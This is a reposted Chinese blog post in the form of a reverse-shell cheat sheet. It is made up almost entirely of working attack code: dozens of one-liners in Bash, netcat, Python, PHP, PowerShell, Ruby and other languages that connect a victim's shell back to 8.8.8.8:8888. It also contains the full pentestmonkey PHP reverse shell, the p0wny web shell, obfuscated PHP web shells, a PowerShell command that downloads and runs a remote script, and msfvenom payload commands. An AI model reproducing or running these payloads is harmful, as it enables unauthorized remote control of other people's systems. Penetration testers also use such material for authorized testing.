【转载】反弹shell

admin 2022年12月3日16:13:58评论36 views字数 26715阅读89分3秒阅读模式

[huayang]

原文地址:https://mp.weixin.qq.com/s/Dv1XniLB9GlWZSoa6dMlVA

IP:8.8.8.8 Port:8888

nc监听8888端口

nc -lvvp 8888

常用nc ,rm,python进行反弹

Bash TCP

Victim

bash -c 'exec bash -i &>/dev/tcp/8.8.8.8/8888 <&1'
bash -i >& /dev/tcp/8.8.8.8/8888 0>&1
/bin/bash -i > /dev/tcp/8.8.8.8/8888 0<& 2>&1
exec 5<>/dev/tcp/8.8.8.8/8888;cat <&5 | while read line; do $line 2>&5 >&5; done
exec /bin/sh 0</dev/tcp/8.8.8.8/8888 1>&0 2>&0
0<&196;exec 196<>/dev/tcp/8.8.8.8/8888; sh <&196 >&196 2>&196

Bash UDP

Victim

sh -i >& /dev/udp/8.8.8.8/8888 0>&1

Listener

nc -u -lvp 8888

Netcat

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 8.8.8.8 8888 >/tmp/f
nc -e /bin/sh 8.8.8.8 8888
nc -e /bin/bash 8.8.8.8 8888
nc -c bash 8.8.8.8 8888
mknod backpipe p && nc 8.8.8.8 8888 0<backpipe | /bin/bash 1>backpipe
rm -f /tmp/p; mknod /tmp/p p && nc 8.8.8.8 8888 0/tmp/p 2>&1
rm f;mkfifo f;cat f|/bin/sh -i 2>&1|nc 8.8.8.8 8888 > f
rm -f x; mknod x p && nc 8.8.8.8 8888 0<x | /bin/bash 1>x

Ncat

ncat 8.8.8.8 8888 -e /bin/bash
ncat --udp 8.8.8.8 8888 -e /bin/bash

Telnet

TF=$(mktemp -u);  mkfifo $TF && telnet 8.8.8.8 8888 0<$TF | /bin/sh 1>$TF
rm -f /tmp/p; mknod /tmp/p p && telnet 8.8.8.8 8888 0/tmp/p 2>&1
telnet 8.8.8.8 8888 | /bin/bash | telnet 8.8.8.8 444
rm f;mkfifo f;cat f|/bin/sh -i 2>&1|telnet 8.8.8.8 8888 > f
rm -f x; mknod x p && telnet 8.8.8.8 8888 0<x | /bin/bash 1>x

Socat

Victim

/tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:8.8.8.8:8888
socat tcp-connect:8.8.8.8:8888 exec:"bash -li",pty,stderr,setsid,sigint,sane

Listener

socat file:`tty`,raw,echo=0 TCP-L:8888

Victim

wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:8.8.8.8:8888

Perl

Victim

perl -e 'use Socket;$i="$ENV{8.8.8.8}";$p=$ENV{8888};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -e 'use Socket;$i="8.8.8.8";$p=8888;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"8.8.8.8:8888");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Windows only, Victim

perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"8.8.8.8:8888");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Python

IP v4

python -c 'import sys,socket,os,pty;s=socket.socket()  s.connect((os.getenv("8.8.8.8"),int(os.getenv("8888"))))  [os.dup2(s.fileno(),fd) for fd in (0,1,2)]  pty.spawn("/bin/sh")'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("8.8.8.8",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
export RHOST="8.8.8.8";export RPORT=8888;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("8.8.8.8",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

IP v6

python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",8888,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'

Windows only

python -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('8.8.8.8', 8888)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"

PHP

php -r '$sock=fsockopen(getenv("8.8.8.8"),getenv("8888"));exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("8.8.8.8",8888);exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$s=fsockopen("8.8.8.8",8888);$proc=proc_open("/bin/sh -i", array(0=>$s, 1=>$s, 2=>$s),$pipes);'
php -r '$s=fsockopen("8.8.8.8",8888);shell_exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$s=fsockopen("8.8.8.8",8888);`/bin/sh -i <&3 >&3 2>&3`;'
php -r '$s=fsockopen("8.8.8.8",8888);system("/bin/sh -i <&3 >&3 2>&3");'
php -r '$s=fsockopen("8.8.8.8",8888);popen("/bin/sh -i <&3 >&3 2>&3", "r");'
php -r '$s=\'127.0.0.1\';$p=8888;@error_reporting(0);@ini_set("error_log",NULL);@ini_set("log_errors",0);@set_time_limit(0);umask(0);if($s=fsockopen($s,$p,$n,$n)){if($x=proc_open(\'/bin/sh$IFS-i\',array(array(\'pipe\',\'r\'),array(\'pipe\',\'w\'),array(\'pipe\',\'w\')),$p,getcwd())){stream_set_blocking($p[0],0);stream_set_blocking($p[1],0);stream_set_blocking($p[2],0);stream_set_blocking($s,0);while(true){if(feof($s))die(\'connection/closed\');if(feof($p[1]))die(\'shell/not/response\');$r=array($s,$p[1],$p[2]);stream_select($r,$n,$n,null);if(in_array($s,$r))fwrite($p[0],fread($s,1024));if(in_array($p[1],$r))fwrite($s,fread($p[1],1024));if(in_array($p[2],$r))fwrite($s,fread($p[2],1024));}fclose($p[0]);fclose($p[1]);fclose($p[2]);proc_close($x);}else{die("proc_open/disabled");}}else{die("not/connect");}'

Pentestmonkey’s反弹shell

<?php
  // php-reverse-shell - A Reverse Shell implementation in PHP
  // Copyright (C) 2007 [email protected]
  set_time_limit (0);
  $VERSION = "1.0";
  $ip = '8.8.8.8';  // You have changed this
  $port = 8888;  // And this
  $chunk_size = 1400;
  $write_a = null;
  $error_a = null;
  $shell = 'uname -a; w; id; /bin/sh -i';
  $daemon = 0;
  $debug = 0;
  //
  // Daemonise ourself if possible to avoid zombies later
  //
  // pcntl_fork is hardly ever available, but will allow us to daemonise
  // our php process and avoid zombies.  Worth a try...
  if (function_exists('pcntl_fork')) {
    // Fork and have the parent process exit
    $pid = pcntl_fork();
    
    if ($pid == -1) {
      printit("ERROR: Can't fork");
      exit(1);
    }
    
    if ($pid) {
      exit(0);  // Parent exits
    }
    // Make the current process a session leader
    // Will only succeed if we forked
    if (posix_setsid() == -1) {
      printit("Error: Can't setsid()");
      exit(1);
    }
    $daemon = 1;
  } else {
    printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
  }
  // Change to a safe directory
  chdir("/");
  // Remove any umask we inherited
  umask(0);
  //
  // Do the reverse shell...
  //
  // Open reverse connection
  $sock = fsockopen($ip, $port, $errno, $errstr, 30);
  if (!$sock) {
    printit("$errstr ($errno)");
    exit(1);
  }
  // Spawn shell process
  $descriptorspec = array(
    0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
    1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
    2 => array("pipe", "w")   // stderr is a pipe that the child will write to
  );
  $process = proc_open($shell, $descriptorspec, $pipes);
  if (!is_resource($process)) {
    printit("ERROR: Can't spawn shell");
    exit(1);
  }
  // Set everything to non-blocking
  // Reason: Occsionally reads will block, even though stream_select tells us they won't
  stream_set_blocking($pipes[0], 0);
  stream_set_blocking($pipes[1], 0);
  stream_set_blocking($pipes[2], 0);
  stream_set_blocking($sock, 0);
  printit("Successfully opened reverse shell to $ip:$port");
  while (1) {
    // Check for end of TCP connection
    if (feof($sock)) {
      printit("ERROR: Shell connection terminated");
      break;
    }
    // Check for end of STDOUT
    if (feof($pipes[1])) {
      printit("ERROR: Shell process terminated");
      break;
    }
    // Wait until a command is end down $sock, or some
    // command output is available on STDOUT or STDERR
    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
    // If we can read from the TCP socket, send
    // data to process's STDIN
    if (in_array($sock, $read_a)) {
      if ($debug) printit("SOCK READ");
      $input = fread($sock, $chunk_size);
      if ($debug) printit("SOCK: $input");
      fwrite($pipes[0], $input);
    }
    // If we can read from the process's STDOUT
    // send data down tcp connection
    if (in_array($pipes[1], $read_a)) {
      if ($debug) printit("STDOUT READ");
      $input = fread($pipes[1], $chunk_size);
      if ($debug) printit("STDOUT: $input");
      fwrite($sock, $input);
    }
    // If we can read from the process's STDERR
    // send data down tcp connection
    if (in_array($pipes[2], $read_a)) {
      if ($debug) printit("STDERR READ");
      $input = fread($pipes[2], $chunk_size);
      if ($debug) printit("STDERR: $input");
      fwrite($sock, $input);
    }
  }
  fclose($sock);
  fclose($pipes[0]);
  fclose($pipes[1]);
  fclose($pipes[2]);
  proc_close($process);
  // Like print, but does nothing if we've daemonised ourself
  // (I can't figure out how to redirect STDOUT like a proper daemon)
  function printit ($string) {
    if (!$daemon) {
      print "$string
";
    }
  }
  ?> 

Basic RCE

成功上传payload,只需将命令放在变量之后?cmd= (ex: ?cmd=ls -la")

<?php system($_GET["cmd"]);?

Web shell

<?php
function featureShell($cmd, $cwd) {
    $stdout = array();
    if (preg_match("/^\s*cd\s*$/", $cmd)) {
        // pass
    } elseif (preg_match("/^\s*cd\s+(.+)\s*(2>&1)?$/", $cmd)) {
        chdir($cwd);
        preg_match("/^\s*cd\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
        chdir($match[1]);
    } elseif (preg_match("/^\s*download\s+[^\s]+\s*(2>&1)?$/", $cmd)) {
        chdir($cwd);
        preg_match("/^\s*download\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
        return featureDownload($match[1]);
    } else {
        chdir($cwd);
        exec($cmd, $stdout);
    }
    return array(
        "stdout" => $stdout,
        "cwd" => getcwd()
    );
}
function featurePwd() {
    return array("cwd" => getcwd());
}
function featureHint($fileName, $cwd, $type) {
    chdir($cwd);
    if ($type == 'cmd') {
        $cmd = "compgen -c $fileName";
    } else {
        $cmd = "compgen -f $fileName";
    }
    $cmd = "/bin/bash -c \"$cmd\"";
    $files = explode("\n", shell_exec($cmd));
    return array(
        'files' => $files,
    );
}
function featureDownload($filePath) {
    $file = @file_get_contents($filePath);
    if ($file === FALSE) {
        return array(
            'stdout' => array('File not found / no read permission.'),
            'cwd' => getcwd()
        );
    } else {
        return array(
            'name' => basename($filePath),
            'file' => base64_encode($file)
        );
    }
}
function featureUpload($path, $file, $cwd) {
    chdir($cwd);
    $f = @fopen($path, 'wb');
    if ($f === FALSE) {
        return array(
            'stdout' => array('Invalid path / no write permission.'),
            'cwd' => getcwd()
        );
    } else {
        fwrite($f, base64_decode($file));
        fclose($f);
        return array(
            'stdout' => array('Done.'),
            'cwd' => getcwd()
        );
    }
}
if (isset($_GET["feature"])) {
    $response = NULL;
    switch ($_GET["feature"]) {
        case "shell":
            $cmd = $_POST['cmd'];
            if (!preg_match('/2>/', $cmd)) {
                $cmd .= ' 2>&1';
            }
            $response = featureShell($cmd, $_POST["cwd"]);
            break;
        case "pwd":
            $response = featurePwd();
            break;
        case "hint":
            $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);
            break;
        case 'upload':
            $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);
    }
    header("Content-Type: application/json");
    echo json_encode($response);
    die();
}
?><!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8" />
        <title>p0wny@shell:~#</title>
        <meta name="viewport" content="width=device-width, initial-scale=1.0" />
        <style>
            html, body {
                margin: 0;
                padding: 0;
                background: #333;
                color: #eee;
                font-family: monospace;
            }
            *::-webkit-scrollbar-track {
                border-radius: 8px;
                background-color: #353535;
            }
            *::-webkit-scrollbar {
                width: 8px;
                height: 8px;
            }
            *::-webkit-scrollbar-thumb {
                border-radius: 8px;
                -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);
                background-color: #bcbcbc;
            }
            #shell {
                background: #222;
                max-width: 800px;
                margin: 50px auto 0 auto;
                box-shadow: 0 0 5px rgba(0, 0, 0, .3);
                font-size: 10pt;
                display: flex;
                flex-direction: column;
                align-items: stretch;
            }
            #shell-content {
                height: 500px;
                overflow: auto;
                padding: 5px;
                white-space: pre-wrap;
                flex-grow: 1;
            }
            #shell-logo {
                font-weight: bold;
                color: #FF4180;
                text-align: center;
            }
            @media (max-width: 991px) {
                #shell-logo {
                    font-size: 6px;
                    margin: -25px 0;
                }
                html, body, #shell {
                    height: 100%;
                    width: 100%;
                    max-width: none;
                }
                #shell {
                    margin-top: 0;
                }
            }
            @media (max-width: 767px) {
                #shell-input {
                    flex-direction: column;
                }
            }
            @media (max-width: 320px) {
                #shell-logo {
                    font-size: 5px;
                }
            }
            .shell-prompt {
                font-weight: bold;
                color: #75DF0B;
            }
            .shell-prompt > span {
                color: #1BC9E7;
            }
            #shell-input {
                display: flex;
                box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);
                border-top: rgba(255, 255, 255, .05) solid 1px;
            }
            #shell-input > label {
                flex-grow: 0;
                display: block;
                padding: 0 5px;
                height: 30px;
                line-height: 30px;
            }
            #shell-input #shell-cmd {
                height: 30px;
                line-height: 30px;
                border: none;
                background: transparent;
                color: #eee;
                font-family: monospace;
                font-size: 10pt;
                width: 100%;
                align-self: center;
            }
            #shell-input div {
                flex-grow: 1;
                align-items: stretch;
            }
            #shell-input input {
                outline: none;
            }
        </style>
        <script>
            var CWD = null;
            var commandHistory = [];
            var historyPosition = 0;
            var eShellCmdInput = null;
            var eShellContent = null;
            function _insertCommand(command) {
                eShellContent.innerHTML += "\n\n";
                eShellContent.innerHTML += '<span class=\"shell-prompt\">' + genPrompt(CWD) + '</span> ';
                eShellContent.innerHTML += escapeHtml(command);
                eShellContent.innerHTML += "\n";
                eShellContent.scrollTop = eShellContent.scrollHeight;
            }
            function _insertStdout(stdout) {
                eShellContent.innerHTML += escapeHtml(stdout);
                eShellContent.scrollTop = eShellContent.scrollHeight;
            }
            function _defer(callback) {
                setTimeout(callback, 0);
            }
            function featureShell(command) {
                _insertCommand(command);
                if (/^\s*upload\s+[^\s]+\s*$/.test(command)) {
                    featureUpload(command.match(/^\s*upload\s+([^\s]+)\s*$/)[1]);
                } else if (/^\s*clear\s*$/.test(command)) {
                    // Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer
                    eShellContent.innerHTML = '';
                } else {
                    makeRequest("?feature=shell", {cmd: command, cwd: CWD}, function (response) {
                        if (response.hasOwnProperty('file')) {
                            featureDownload(response.name, response.file)
                        } else {
                            _insertStdout(response.stdout.join("\n"));
                            updateCwd(response.cwd);
                        }
                    });
                }
            }
            function featureHint() {
                if (eShellCmdInput.value.trim().length === 0) return;  // field is empty -> nothing to complete
                function _requestCallback(data) {
                    if (data.files.length <= 1) return;  // no completion
                    if (data.files.length === 2) {
                        if (type === 'cmd') {
                            eShellCmdInput.value = data.files[0];
                        } else {
                            var currentValue = eShellCmdInput.value;
                            eShellCmdInput.value = currentValue.replace(/([^\s]*)$/, data.files[0]);
                        }
                    } else {
                        _insertCommand(eShellCmdInput.value);
                        _insertStdout(data.files.join("\n"));
                    }
                }
                var currentCmd = eShellCmdInput.value.split(" ");
                var type = (currentCmd.length === 1) ? "cmd" : "file";
                var fileName = (type === "cmd") ? currentCmd[0] : currentCmd[currentCmd.length - 1];
                makeRequest(
                    "?feature=hint",
                    {
                        filename: fileName,
                        cwd: CWD,
                        type: type
                    },
                    _requestCallback
                );
            }
            function featureDownload(name, file) {
                var element = document.createElement('a');
                element.setAttribute('href', 'data:application/octet-stream;base64,' + file);
                element.setAttribute('download', name);
                element.style.display = 'none';
                document.body.appendChild(element);
                element.click();
                document.body.removeChild(element);
                _insertStdout('Done.');
            }
            function featureUpload(path) {
                var element = document.createElement('input');
                element.setAttribute('type', 'file');
                element.style.display = 'none';
                document.body.appendChild(element);
                element.addEventListener('change', function () {
                    var promise = getBase64(element.files[0]);
                    promise.then(function (file) {
                        makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {
                            _insertStdout(response.stdout.join("\n"));
                            updateCwd(response.cwd);
                        });
                    }, function () {
                        _insertStdout('An unknown client-side error occurred.');
                    });
                });
                element.click();
                document.body.removeChild(element);
            }
            function getBase64(file, onLoadCallback) {
                return new Promise(function(resolve, reject) {
                    var reader = new FileReader();
                    reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };
                    reader.onerror = reject;
                    reader.readAsDataURL(file);
                });
            }
            function genPrompt(cwd) {
                cwd = cwd || "~";
                var shortCwd = cwd;
                if (cwd.split("/").length > 3) {
                    var splittedCwd = cwd.split("/");
                    shortCwd = "…/" + splittedCwd[splittedCwd.length-2] + "/" + splittedCwd[splittedCwd.length-1];
                }
                return "p0wny@shell:<span title=\"" + cwd + "\">" + shortCwd + "</span>#";
            }
            function updateCwd(cwd) {
                if (cwd) {
                    CWD = cwd;
                    _updatePrompt();
                    return;
                }
                makeRequest("?feature=pwd", {}, function(response) {
                    CWD = response.cwd;
                    _updatePrompt();
                });
            }
            function escapeHtml(string) {
                return string
                    .replace(/&/g, "&")
                    .replace(/</g, "<")
                    .replace(/>/g, ">");
            }
            function _updatePrompt() {
                var eShellPrompt = document.getElementById("shell-prompt");
                eShellPrompt.innerHTML = genPrompt(CWD);
            }
            function _onShellCmdKeyDown(event) {
                switch (event.key) {
                    case "Enter":
                        featureShell(eShellCmdInput.value);
                        insertToHistory(eShellCmdInput.value);
                        eShellCmdInput.value = "";
                        break;
                    case "ArrowUp":
                        if (historyPosition > 0) {
                            historyPosition--;
                            eShellCmdInput.blur();
                            eShellCmdInput.value = commandHistory[historyPosition];
                            _defer(function() {
                                eShellCmdInput.focus();
                            });
                        }
                        break;
                    case "ArrowDown":
                        if (historyPosition >= commandHistory.length) {
                            break;
                        }
                        historyPosition++;
                        if (historyPosition === commandHistory.length) {
                            eShellCmdInput.value = "";
                        } else {
                            eShellCmdInput.blur();
                            eShellCmdInput.focus();
                            eShellCmdInput.value = commandHistory[historyPosition];
                        }
                        break;
                    case 'Tab':
                        event.preventDefault();
                        featureHint();
                        break;
                }
            }
            function insertToHistory(cmd) {
                commandHistory.push(cmd);
                historyPosition = commandHistory.length;
            }
            function makeRequest(url, params, callback) {
                function getQueryString() {
                    var a = [];
                    for (var key in params) {
                        if (params.hasOwnProperty(key)) {
                            a.push(encodeURIComponent(key) + "=" + encodeURIComponent(params[key]));
                        }
                    }
                    return a.join("&");
                }
                var xhr = new XMLHttpRequest();
                xhr.open("POST", url, true);
                xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
                xhr.onreadystatechange = function() {
                    if (xhr.readyState === 4 && xhr.status === 200) {
                        try {
                            var responseJson = JSON.parse(xhr.responseText);
                            callback(responseJson);
                        } catch (error) {
                            alert("Error while parsing response: " + error);
                        }
                    }
                };
                xhr.send(getQueryString());
            }
            document.onclick = function(event) {
                event = event || window.event;
                var selection = window.getSelection();
                var target = event.target || event.srcb64Element;
                if (target.tagName === "SELECT") {
                    return;
                }
                if (!selection.toString()) {
                    eShellCmdInput.focus();
                }
            };
            window.onload = function() {
                eShellCmdInput = document.getElementById("shell-cmd");
                eShellContent = document.getElementById("shell-content");
                updateCwd();
                eShellCmdInput.focus();
            };
        </script>
    </head>
    <body>
        <div id="shell">
            <pre id="shell-content">
                <div id="shell-logo">
        ___                         ____      _          _ _        _  _   <span></span>
 _ __  / _ \__      ___ __  _   _  / __ \ ___| |__   ___| | |_ /\/|| || |_ <span></span>
| '_ \| | | \ \ /\ / / '_ \| | | |/ / _` / __| '_ \ / _ \ | (_)/\/_  ..  _|<span></span>
| |_) | |_| |\ V  V /| | | | |_| | | (_| \__ \ | | |  __/ | |_   |_      _|<span></span>
| .__/ \___/  \_/\_/ |_| |_|\__, |\ \__,_|___/_| |_|\___|_|_(_)    |_||_|  <span></span>
|_|                         |___/  \____/                                  <span></span>
                </div>
            </pre>
            <div id="shell-input">
                <label for="shell-cmd" id="shell-prompt" class="shell-prompt">???</label>
                <div>
                    <input id="shell-cmd" name="cmd" onkeydown="_onShellCmdKeyDown(event)"/>
                </div>
            </div>
        </div>
    </body>
</html>

Obfuscated PHP Web Shell

<?=`$_GET[0]`?>

Usage : http://target.com/path/to/shell.php?0=command

<?=`$_POST[0]`?>

Usage : curl -X POST http://target.com/path/to/shell.php -d "0=command"

<?=`{$_REQUEST['_']}`?>

Usage :

http://target.com/path/to/shell.php?_=commandcurl -X POST http://target.com/path/to/shell.php -d "_=command"

<?=$_="";$_="'" ;$_=($_^chr(4*4*(5+5)-40)).($_^chr(47+ord(1==1))).($_^chr(ord('_')+3)).($_^chr(((10*10)+(5*3))));$_=${$_}['_'^'o'];echo`$_`?>

Usage :

http://target.com/path/to/shell.php?0=command

<?php $_="{"; $_=($_^"<").($_^">;").($_^"/"); ?><?=${'_'.$_}['_'](${'_'.$_}['__']);?>

Usage :

http://target.com/path/to/shell.php?_=function&__=argumenthttp://target.com/path/to/shell.php?_=system&__=ls

Ruby

ruby -rsocket -e 'exit if fork;c=TCPSocket.new(ENV["8.8.8.8"],ENV["8888"]);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
ruby -rsocket -e'f=TCPSocket.open("8.8.8.8",8888).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("8.8.8.8","8888");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

NOTE: Windows only

ruby -rsocket -e 'c=TCPSocket.new("8.8.8.8","8888");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

OpenSSL

Attacker

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -quiet -key key.pem -cert cert.pem -port 8888
ncat --ssl -vv -l -p 8888

Victim

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 8.8.8.8:8888 > /tmp/s; rm /tmp/s

Powershell

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('8.8.8.8',8888);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("8.8.8.8",8888);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
powershell IEX (New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1')

Awk

awk 'BEGIN {s = "/inet/tcp/0/8.8.8.8/8888"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

TCLsh

echo 'set s [socket 8.8.8.8 8888];while 42 { puts -nonewline $s "shell>";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | tclsh

Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/8.8.8.8/8888;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
String host="127.0.0.1";
int port=4444;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
Thread thread = new Thread(){
    public void run(){
        // Reverse shell here
    }
}
thread.start();

War

msfvenom -p java/jsp_shell_reverse_tcp LHOST=8.8.8.8 LPORT=8888 -f war > reverse.war
strings reverse.war | grep jsp # in order to get the name of the file

Lua

Linux only

lua -e "require('socket');require('os');t=socket.tcp();t:connect('8.8.8.8','8888');os.execute('/bin/sh -i <&3 >&3 2>&3');"

Windows and Linux

lua5.1 -e 'local host, port = "8.8.8.8", 8888 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'

NodeJS

(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(8888, "8.8.8.8", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();
require('child_process').exec('nc -e /bin/sh 8.8.8.8 8888')
-var x = global.process.mainModule.require
-x('child_process').exec('nc 8.8.8.8 8888 -e /bin/bash')
https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py

Groovy

String host="8.8.8.8";
int port=8888;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Meterpreter Shell

msfvenom -p windows/meterpreter/reverse_tcp LHOST=8.8.8.8 LPORT=8888 -f exe > reverse.exe
msfvenom -p windows/shell_reverse_tcp LHOST=8.8.8.8 LPORT=8888 -f exe > reverse.exe
